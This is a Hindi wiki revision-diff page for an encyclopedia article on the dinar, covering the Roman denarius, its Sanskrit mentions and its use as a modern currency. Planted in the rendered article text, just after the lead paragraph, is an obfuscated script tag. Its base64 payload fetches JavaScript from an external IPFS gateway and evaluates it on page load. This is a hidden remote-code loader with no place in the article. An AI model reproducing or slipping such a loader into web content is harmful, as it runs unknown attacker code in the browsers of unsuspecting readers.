"दीनार" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
(''''दीनार''' स्वर्ण का सिक्का, जो प्राचीन समय में [[एशिय...' के साथ नया पन्ना बनाया)
 
पंक्ति 2: पंक्ति 2:
 
{{tocright}}
 
{{tocright}}
 
==इतिहास==
 
==इतिहास==
'दीनार' शब्द को अधिकतर भारतीय [[हिन्दी]] में [[मुस्लिम]] हमलावरों के साथ आया हुआ [[शब्द (व्याकरण)|शब्द]] मानते हैं। 'दीनार' का मतलब होता है- 'एक स्वर्ण मुद्रा' या 'अशरफी'। मूलतः यह शब्द रोमन शब्द से जन्मा है और क़रीब तीन सदी ईसा पू्र्व स्वर्ण मुद्रा के तौर पर इसका रोमन गणतंत्र में प्रचलन शुरू हुआ। [[रोम]] से ही 'दिनारियस' [[अरब देश|अरब]] क्षेत्र मे दीनार के रूप में पहुंचा। किसी ज़माने में यह मुद्रा [[भारत]] में चलती थी, लेकिन मुस्लिम शासन में दीनार का चलन नहीं रहा।
+
'दीनार' शब्द को अधिकतर भारतीय [[हिन्दी]] में [[मुस्लिम]] हमलावरों के साथ आया हुआ [[शब्द (व्याकरण)|शब्द]] मानते हैं। 'दीनार' का मतलब होता है- 'एक स्वर्ण मुद्रा' या 'अशरफी'। मूलतः यह शब्द रोमन शब्द से जन्मा है और क़रीब तीन सदी ईसा पू्र्व स्वर्ण मुद्रा के तौर पर इसका रोमन गणतंत्र में प्रचलन शुरू हुआ। [[रोम]] से ही 'दिनारियस' [[अरब देश|अरब]] क्षेत्र मे दीनार के रूप में पहुंचा। किसी ज़माने में यह मुद्रा [[भारत]] में चलती थी, लेकिन मुस्लिम शासन में दीनार का चलन नहीं रहा।<ref name="aa">{{cite web |url= http://shabdavali.blogspot.in/2007/10/blog-post_14.html|title=दीनार का चलता था सिक्का कभी...|accessmonthday= 28 जुलाई|accessyear= 2014|last= |first= |authorlink= |format= |publisher=शब्दों का सफर|language= हिन्दी}}</ref>
 
====संस्कृत में उल्लेख====
 
====संस्कृत में उल्लेख====
 
[[संस्कृत]] में दीनार का उल्लेख दीनारः के रूप में मिलता है। [[भारत की संस्कृति|भारतीय संस्कृति]] में दीनार किस हद तक रची-बसी थी, इसका उल्लेख आठवी सदी में लिखे गए '[[दशकुमारचरित]]' में मिलता है, जिसमें द्यूतक्रीड़ा<ref>जूआ</ref> के संदर्भ में उल्लेख है कि 16000 दीनारों की बाजी में द्यूत अध्यक्ष के निर्णयानुसार आधी राशि जीतने वाले को और बाकी आधी राशि द्यूत अध्यक्ष व द्यूत सभा के कर्मचारी आपस में बांट सकते हैं।
 
[[संस्कृत]] में दीनार का उल्लेख दीनारः के रूप में मिलता है। [[भारत की संस्कृति|भारतीय संस्कृति]] में दीनार किस हद तक रची-बसी थी, इसका उल्लेख आठवी सदी में लिखे गए '[[दशकुमारचरित]]' में मिलता है, जिसमें द्यूतक्रीड़ा<ref>जूआ</ref> के संदर्भ में उल्लेख है कि 16000 दीनारों की बाजी में द्यूत अध्यक्ष के निर्णयानुसार आधी राशि जीतने वाले को और बाकी आधी राशि द्यूत अध्यक्ष व द्यूत सभा के कर्मचारी आपस में बांट सकते हैं।
 
====रोम की 'दिनारियस'====
 
====रोम की 'दिनारियस'====
[[रोम]] में भारतीय मसाले और मलमल की बेहद मांग रही थी। क़रीब पहली सदी ईसा पूर्व से लेकर चौथी-पांचवीं सदी तक [[रोमन साम्राज्य]] से [[भारत]] के कारोबारी रिश्ते रहे। भारत के पश्चिमी समुद्र तट के जरिये ये कारोबार चलता रहता था। भारतीय माल के बदले रोमन अपनी [[स्वर्ण]] मुद्रा 'दिनारियस' में भुगतान करते रहे। ये कारोबारी रिश्ते इतने फले- फूले की दिनारियस 'दीनार' के रूप में लंबे अर्से तक लेन-देन का जरिया बनी रही। 98 ई. में [[कुषाण]] सम्राट [[कनिष्क]] के जमाने का एक रोमन उल्लेख महत्त्वपूर्ण है- "भारतवर्ष हर साल रोम से साढ़े पांच करोड़ का सोना खींच लेता है।" जाहिर है यह आंकड़ा रोमन स्वर्ण मुद्रा दिनारियस के संदर्भ में बताया गया है।
+
[[रोम]] में भारतीय मसाले और मलमल की बेहद मांग रही थी। क़रीब पहली सदी ईसा पूर्व से लेकर चौथी-पांचवीं सदी तक [[रोमन साम्राज्य]] से [[भारत]] के कारोबारी रिश्ते रहे। भारत के पश्चिमी समुद्र तट के जरिये ये कारोबार चलता रहता था। भारतीय माल के बदले रोमन अपनी [[स्वर्ण]] मुद्रा 'दिनारियस' में भुगतान करते रहे। ये कारोबारी रिश्ते इतने फले- फूले की दिनारियस 'दीनार' के रूप में लंबे अर्से तक लेन-देन का जरिया बनी रही। 98 ई. में [[कुषाण]] सम्राट [[कनिष्क]] के जमाने का एक रोमन उल्लेख महत्त्वपूर्ण है- "भारतवर्ष हर साल रोम से साढ़े पांच करोड़ का सोना खींच लेता है।" जाहिर है यह आंकड़ा रोमन स्वर्ण मुद्रा दिनारियस के संदर्भ में बताया गया है।<ref name="aa"/>
 
==राजकीय मुद्रा==
 
==राजकीय मुद्रा==
 
अपने रोमन रूप में दीनार का मूल्य क़रीब साढ़े चार ग्राम स्वर्ण के बराबर था। आज दुनिया के तमाम मुल्कों में दीनार [[धातु]] की मुद्रा की बजाय [[काग़ज़]] के नोट के रूप में डटी हुई है। बाद के सालों में रोम से ऐसे ही कारोबारी रिश्तों के चलते दीनार [[ईरान]] और कुछ अरब मुल्कों में भी प्रचलित हुई और अब तक डटी हुई है। यही नहीं अरब मुल्कों समेत दीनार सर्बिया, युगोस्लाविया, बोस्निया-हर्जेगोविना, अल्जीरिया, यमन, ट्यूनीशिया, सुडान और मोंटेनेग्रो जैसे देशों की भी राजकीय मुद्रा है।
 
अपने रोमन रूप में दीनार का मूल्य क़रीब साढ़े चार ग्राम स्वर्ण के बराबर था। आज दुनिया के तमाम मुल्कों में दीनार [[धातु]] की मुद्रा की बजाय [[काग़ज़]] के नोट के रूप में डटी हुई है। बाद के सालों में रोम से ऐसे ही कारोबारी रिश्तों के चलते दीनार [[ईरान]] और कुछ अरब मुल्कों में भी प्रचलित हुई और अब तक डटी हुई है। यही नहीं अरब मुल्कों समेत दीनार सर्बिया, युगोस्लाविया, बोस्निया-हर्जेगोविना, अल्जीरिया, यमन, ट्यूनीशिया, सुडान और मोंटेनेग्रो जैसे देशों की भी राजकीय मुद्रा है।
 
==महत्त्वपूर्ण तथ्य==
 
==महत्त्वपूर्ण तथ्य==
आश्चर्यजनक तथ्य यह है कि भारत से गायब होने के बावजूद हिन्दी के शब्दकोशों में आज भी दीनार संस्कृत शब्द के रूप में स्वर्ण मुद्रा के अर्थ में विराजमान है, जबकि [[उर्दू]]-[[फ़ारसी भाषा|फ़ारसी]] शब्दकोश में यह फ़ारसी शब्द के तौर पर 'अशरफी' बन कर जमा है। लेकिन इसके रोमन मूल का कहीं भी जिक्र तक नहीं है। हिन्दी में इसका एक रूप 'दिनार' भी है।
+
आश्चर्यजनक तथ्य यह है कि भारत से गायब होने के बावजूद हिन्दी के शब्दकोशों में आज भी दीनार संस्कृत शब्द के रूप में स्वर्ण मुद्रा के अर्थ में विराजमान है, जबकि [[उर्दू]]-[[फ़ारसी भाषा|फ़ारसी]] शब्दकोश में यह फ़ारसी शब्द के तौर पर 'अशरफी' बन कर जमा है। लेकिन इसके रोमन मूल का कहीं भी जिक्र तक नहीं है। हिन्दी में इसका एक रूप 'दिनार' भी है।<ref name="aa"/>
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक= प्रारम्भिक1|माध्यमिक= |पूर्णता= |शोध= }}

13:10, 28 जुलाई 2014 का अवतरण

दीनार स्वर्ण का सिक्का, जो प्राचीन समय में एशिया तथा यूरोप में प्रमुखता से चलता था। संस्कृत में दीनार का उल्लेख 'दीनारः' के रूप में मिलता है। अपने रोमन रूप में दीनार का मूल्य क़रीब साढ़े चार ग्राम स्वर्ण के बराबर था। आज दुनिया के तमाम मुल्कों में दीनार धातु की मुद्रा की बजाय काग़ज़ के नोट के रूप में डटी हुई है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

इतिहास

'दीनार' शब्द को अधिकतर भारतीय हिन्दी में मुस्लिम हमलावरों के साथ आया हुआ शब्द मानते हैं। 'दीनार' का मतलब होता है- 'एक स्वर्ण मुद्रा' या 'अशरफी'। मूलतः यह शब्द रोमन शब्द से जन्मा है और क़रीब तीन सदी ईसा पू्र्व स्वर्ण मुद्रा के तौर पर इसका रोमन गणतंत्र में प्रचलन शुरू हुआ। रोम से ही 'दिनारियस' अरब क्षेत्र मे दीनार के रूप में पहुंचा। किसी ज़माने में यह मुद्रा भारत में चलती थी, लेकिन मुस्लिम शासन में दीनार का चलन नहीं रहा।[1]

संस्कृत में उल्लेख

संस्कृत में दीनार का उल्लेख दीनारः के रूप में मिलता है। भारतीय संस्कृति में दीनार किस हद तक रची-बसी थी, इसका उल्लेख आठवी सदी में लिखे गए 'दशकुमारचरित' में मिलता है, जिसमें द्यूतक्रीड़ा[2] के संदर्भ में उल्लेख है कि 16000 दीनारों की बाजी में द्यूत अध्यक्ष के निर्णयानुसार आधी राशि जीतने वाले को और बाकी आधी राशि द्यूत अध्यक्ष व द्यूत सभा के कर्मचारी आपस में बांट सकते हैं।

रोम की 'दिनारियस'

रोम में भारतीय मसाले और मलमल की बेहद मांग रही थी। क़रीब पहली सदी ईसा पूर्व से लेकर चौथी-पांचवीं सदी तक रोमन साम्राज्य से भारत के कारोबारी रिश्ते रहे। भारत के पश्चिमी समुद्र तट के जरिये ये कारोबार चलता रहता था। भारतीय माल के बदले रोमन अपनी स्वर्ण मुद्रा 'दिनारियस' में भुगतान करते रहे। ये कारोबारी रिश्ते इतने फले- फूले की दिनारियस 'दीनार' के रूप में लंबे अर्से तक लेन-देन का जरिया बनी रही। 98 ई. में कुषाण सम्राट कनिष्क के जमाने का एक रोमन उल्लेख महत्त्वपूर्ण है- "भारतवर्ष हर साल रोम से साढ़े पांच करोड़ का सोना खींच लेता है।" जाहिर है यह आंकड़ा रोमन स्वर्ण मुद्रा दिनारियस के संदर्भ में बताया गया है।[1]

राजकीय मुद्रा

अपने रोमन रूप में दीनार का मूल्य क़रीब साढ़े चार ग्राम स्वर्ण के बराबर था। आज दुनिया के तमाम मुल्कों में दीनार धातु की मुद्रा की बजाय काग़ज़ के नोट के रूप में डटी हुई है। बाद के सालों में रोम से ऐसे ही कारोबारी रिश्तों के चलते दीनार ईरान और कुछ अरब मुल्कों में भी प्रचलित हुई और अब तक डटी हुई है। यही नहीं अरब मुल्कों समेत दीनार सर्बिया, युगोस्लाविया, बोस्निया-हर्जेगोविना, अल्जीरिया, यमन, ट्यूनीशिया, सुडान और मोंटेनेग्रो जैसे देशों की भी राजकीय मुद्रा है।

महत्त्वपूर्ण तथ्य

आश्चर्यजनक तथ्य यह है कि भारत से गायब होने के बावजूद हिन्दी के शब्दकोशों में आज भी दीनार संस्कृत शब्द के रूप में स्वर्ण मुद्रा के अर्थ में विराजमान है, जबकि उर्दू-फ़ारसी शब्दकोश में यह फ़ारसी शब्द के तौर पर 'अशरफी' बन कर जमा है। लेकिन इसके रोमन मूल का कहीं भी जिक्र तक नहीं है। हिन्दी में इसका एक रूप 'दिनार' भी है।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 दीनार का चलता था सिक्का कभी... (हिन्दी) शब्दों का सफर। अभिगमन तिथि: 28 जुलाई, 2014।
  2. जूआ

संबंधित लेख